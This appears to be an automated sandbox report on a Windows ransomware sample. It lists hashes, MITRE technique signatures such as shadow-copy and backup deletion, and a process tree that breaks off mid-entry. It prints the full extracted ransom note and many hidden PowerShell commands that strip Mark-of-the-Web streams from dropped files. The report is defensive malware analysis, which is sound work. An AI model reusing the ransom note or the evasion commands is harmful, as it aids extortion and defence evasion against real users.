0bf4dd30549f7df3440b3b5841721ec8774fad4cf5fda4236f489b6508f169d1

Analysis

max time kernel
43s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 01:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 3.7MB
Sample260808-brglcsfl4w
SHA256 0bf4dd30549f7df3440b3b5841721ec8774fad4cf5fda4236f489b6508f169d1
MD5 538911b7e2121bbee84765a649eedcba
SHA1 515f82545e98a7ccbbf3c4b78ebfb6676f242cdb
SHA512 0f0600107b48107a25a1d4639498109ee49428be194869f9b8d0e8fd773775b589d544606da2b686aedcfe11b535aa5090fa3348cbe651ec8a04ad1f282e5de9
SSDEEP 49152:RG6hATDiBAl2Z3fkTbJ3iM9Rg8Z14MVJVW8V7KlK1KiUzZKqPp5E:RG6mnmzGJlaD3E
TLSH
T1CA064903ECA918F9C1AEE135897A9116BB70BC495B3123D72BA0B6342F77BD09D79314
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact ransomware

Malware Config

Extracted

Path

C:\Recovery\RECOVER_YOUR_FILES.txt

Ransom Note

============================================================ YOUR FILES HAVE BEEN ENCRYPTED — MACHINE WILL LOCK ============================================================ All documents, photos, databases and backups on this system were encrypted with AES-256-CTR + HMAC-SHA256 and RSA-4096-OAEP. Host ID: GLR-1C10-101D-372F Hostname: Oaggwfqt DO NOT: - Rename encrypted files (*.locked) - Run third-party decryptors - Reinstall the OS (you will lose key mapping) - Kill the lock process without a valid unlock code PAYMENT (required to unlock the machine): 1. Install Tor Browser 2. Contact: [email protected] 3. Send BTC to: bc1qPLACEHOLDER 4. Amount: $2500 USD (or equivalent) 5. Include Host ID GLR-1C10-101D-372F in your ticket Deadline: 72 hours after encryption. After the deadline the operator private key for this host is destroyed. On the lock screen: - Press C to copy the BTC address - Enter the unlock code you receive after payment + ENTER ============================================================ Proof of decryption available on request (1 free file). ============================================================

Emails

[email protected]

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1756	bcdedit.exe
5580	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe
2608	powershell.exe
5496	powershell.exe
5884	powershell.exe
752	powershell.exe
5160	powershell.exe
5324	powershell.exe
4232	powershell.exe
3016	powershell.exe
2688	powershell.exe
1992	powershell.exe
1980	powershell.exe
2600	powershell.exe
4876	powershell.exe
5772	powershell.exe
1568	powershell.exe
2280	powershell.exe
5948	powershell.exe
6056	powershell.exe
1116	powershell.exe
3112	powershell.exe
1212	powershell.exe
4248	powershell.exe
4348	powershell.exe
3504	powershell.exe
716	powershell.exe
4228	powershell.exe
3436	powershell.exe
4348	powershell.exe
2352	powershell.exe
4636	powershell.exe
4904	powershell.exe
5204	powershell.exe
1252	powershell.exe
4612	powershell.exe
1060	powershell.exe
3464	powershell.exe
3296	powershell.exe
3104	powershell.exe
4324	powershell.exe
4884	powershell.exe
2224	powershell.exe
4840	powershell.exe
3472	powershell.exe
2864	powershell.exe
5372	powershell.exe
5612	powershell.exe
984	powershell.exe
1048	powershell.exe
1048	powershell.exe
5100	powershell.exe
4816	powershell.exe
2736	powershell.exe
1036	powershell.exe
5440	powershell.exe
4860	powershell.exe
4292	powershell.exe
2564	powershell.exe
5392	powershell.exe
1852	powershell.exe
752	powershell.exe
2836	powershell.exe
2896	powershell.exe
6008	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5828	wbadmin.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4224	sc.exe
4532	sc.exe
4228	sc.exe
5060	sc.exe
5576	sc.exe
4808	sc.exe
2468	sc.exe
2996	sc.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6004	vssadmin.exe
5280	vssadmin.exe
4360	vssadmin.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
3300	reg.exe
1120	reg.exe
1568	reg.exe
3392	reg.exe
1092	reg.exe
1192	reg.exe
2348	reg.exe
3452	reg.exe
5884	reg.exe
5852	reg.exe
4544	reg.exe
1872	reg.exe
4592	reg.exe
4764	reg.exe
1252	reg.exe
1264	reg.exe
1284	reg.exe
4876	reg.exe
3704	reg.exe
3268	reg.exe
4348	reg.exe
4664	reg.exe
3724	reg.exe
5284	reg.exe
2436	reg.exe
1656	reg.exe
1064	reg.exe
5608	reg.exe
3420	reg.exe
4936	reg.exe
1064	reg.exe
380	reg.exe
5392	reg.exe
2240	reg.exe
4764	reg.exe
5408	reg.exe
2316	reg.exe
3104	reg.exe
1360	reg.exe
1568	reg.exe
3376	reg.exe
5952	reg.exe
1508	reg.exe
5784	reg.exe
2060	reg.exe
240	reg.exe
5584	reg.exe
1252	reg.exe
4492	reg.exe
3132	reg.exe
2508	reg.exe
5064	reg.exe
1192	reg.exe
4288	reg.exe
4308	reg.exe
1072	reg.exe
4284	reg.exe
1772	reg.exe
312	reg.exe
4444	reg.exe
3500	reg.exe
4492	reg.exe
4764	reg.exe
2260	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe
5944	powershell.exe
5944	powershell.exe
1096	powershell.exe
1096	powershell.exe
4172	powershell.exe
4172	powershell.exe
5324	powershell.exe
5324	powershell.exe
5772	powershell.exe
5772	powershell.exe
3976	powershell.exe
3976	powershell.exe
1048	powershell.exe
1048	powershell.exe
2456	powershell.exe
2456	powershell.exe
5100	powershell.exe
5100	powershell.exe
3912	powershell.exe
3912	powershell.exe
5132	powershell.exe
5132	powershell.exe
1992	powershell.exe
1992	powershell.exe
2896	powershell.exe
2896	powershell.exe
1568	powershell.exe
1568	powershell.exe
464	powershell.exe
464	powershell.exe
1036	powershell.exe
1036	powershell.exe
2796	powershell.exe
2796	powershell.exe
2564	powershell.exe
2564	powershell.exe
2520	powershell.exe
2520	powershell.exe
2968	powershell.exe
2968	powershell.exe
4840	powershell.exe
4840	powershell.exe
568	powershell.exe
568	powershell.exe
5948	powershell.exe
5948	powershell.exe
6056	powershell.exe
6056	powershell.exe
5132	powershell.exe
5132	powershell.exe
5160	powershell.exe
5160	powershell.exe
5392	powershell.exe
5392	powershell.exe
4232	powershell.exe
4232	powershell.exe
2832	powershell.exe
2832	powershell.exe
3504	powershell.exe
3504	powershell.exe
5000	powershell.exe
5000	powershell.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	5324	powershell.exe
Token: SeDebugPrivilege	5772	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	5132	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeDebugPrivilege	5132	powershell.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	5392	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	5812	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	5372	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 4904	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	89
PID 1668 wrote to memory of 5944	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	91
PID 1668 wrote to memory of 1096	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	93
PID 1668 wrote to memory of 4172	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	95
PID 1668 wrote to memory of 5324	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	97
PID 1668 wrote to memory of 5772	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	99
PID 1668 wrote to memory of 3976	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	101
PID 1668 wrote to memory of 1048	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	103
PID 1668 wrote to memory of 2456	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	105
PID 1668 wrote to memory of 5100	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	107
PID 1668 wrote to memory of 3912	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	109
PID 1668 wrote to memory of 5132	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	141
PID 1668 wrote to memory of 1992	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	113
PID 1668 wrote to memory of 2896	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	115
PID 1668 wrote to memory of 3376	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	117
PID 1668 wrote to memory of 1568	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	176
PID 1668 wrote to memory of 464	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	121
PID 1668 wrote to memory of 1036	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	123
PID 1668 wrote to memory of 2796	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	125
PID 1668 wrote to memory of 2564	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	127
PID 1668 wrote to memory of 2520	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	129
PID 1668 wrote to memory of 2968	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	131
PID 1668 wrote to memory of 4840	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	133
PID 1668 wrote to memory of 568	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	135
PID 1668 wrote to memory of 5948	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	137
PID 1668 wrote to memory of 6056	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	139
PID 1668 wrote to memory of 5132	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	141
PID 1668 wrote to memory of 5160	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	143
PID 1668 wrote to memory of 5392	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	291
PID 1668 wrote to memory of 4232	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	147
PID 1668 wrote to memory of 2832	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	268
PID 1668 wrote to memory of 3504	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	152
PID 1668 wrote to memory of 5000	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	154
PID 1668 wrote to memory of 1848	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	274
PID 1668 wrote to memory of 5812	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	246
PID 1668 wrote to memory of 4696	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	249
PID 1668 wrote to memory of 1376	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	162
PID 1668 wrote to memory of 716	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	164
PID 1668 wrote to memory of 3472	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	166
PID 1668 wrote to memory of 4160	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	462
PID 1668 wrote to memory of 4336	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	170
PID 1668 wrote to memory of 2864	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	172
PID 1668 wrote to memory of 5372	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	356
PID 1668 wrote to memory of 1568	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	176
PID 1668 wrote to memory of 4700	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	580
PID 1668 wrote to memory of 2892	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	434
PID 1668 wrote to memory of 1340	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	389
PID 1668 wrote to memory of 1680	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	184
PID 1668 wrote to memory of 1116	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	186
PID 1668 wrote to memory of 2688	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	397
PID 1668 wrote to memory of 4936	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	666
PID 1668 wrote to memory of 2224	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	853
PID 1668 wrote to memory of 4324	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	707
PID 1668 wrote to memory of 1124	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	196
PID 1668 wrote to memory of 896	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	412
PID 1668 wrote to memory of 5204	1668	2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	414

C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2481862687:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2481862687'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2a479340-777d-4953-9bbb-8473618cdf27.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2a479340-777d-4953-9bbb-8473618cdf27.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\9805e9b2-f5d2-4e3d-9cb2-04c7e49b6b7c.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\9805e9b2-f5d2-4e3d-9cb2-04c7e49b6b7c.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\BIT49B7.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\BIT49B7.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1783607598.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1783607598.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\DefaultApps.xml:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
